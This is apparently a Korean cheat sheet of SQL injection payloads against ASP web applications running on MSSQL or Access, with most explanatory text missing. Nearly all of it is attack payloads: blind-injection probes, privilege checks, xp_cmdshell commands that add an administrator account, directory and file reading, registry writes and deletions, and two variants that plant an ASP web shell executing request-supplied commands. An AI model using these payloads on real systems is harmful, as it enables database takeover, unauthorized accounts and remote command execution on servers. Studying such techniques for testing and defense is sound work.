ASP 주입 기법 전면 인식
4172 단어 ASP 주입 기법 전면 인식
1.
;and 1=1
;and 1=2
2. mssql
;and user>0
3.
'and [ ] and ''='
4.
'and [ ] and '%25'='
5.
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.
;and (Select Count(*) from [ ])>0
7.
;and (Select Count( ) from )>0
8.
;and (select top 1 len( ) from )>0
9.(1) ascii (access)
;and (select top 1 asc(mid( ,1,1)) from )>0
(2) ascii (mssql)
;and (select top 1 unicode(substring( ,1,1)) from )>0
10. (mssql)
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(SELECT IS_MEMBER('db_owner'));--
11. mssql
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(' paths'))>)
(2)
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;--
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
13.mssql
xp_regenumvalues ,
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
xp_regread , ,
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'
xp_regwrite , , , ,
2 REG_SZ ,REG_DWORD
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion',
'TestValueName','reg_sz','hello'
xp_regdeletevalue , ,
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' ,
14.mssql backup webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:\l.asp';
15.mssql
;and (select @@version)>0 Windows
;and user_name()='dbo' sa
;and (select user_name())>0
;and (select db_name())>0
16. webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp'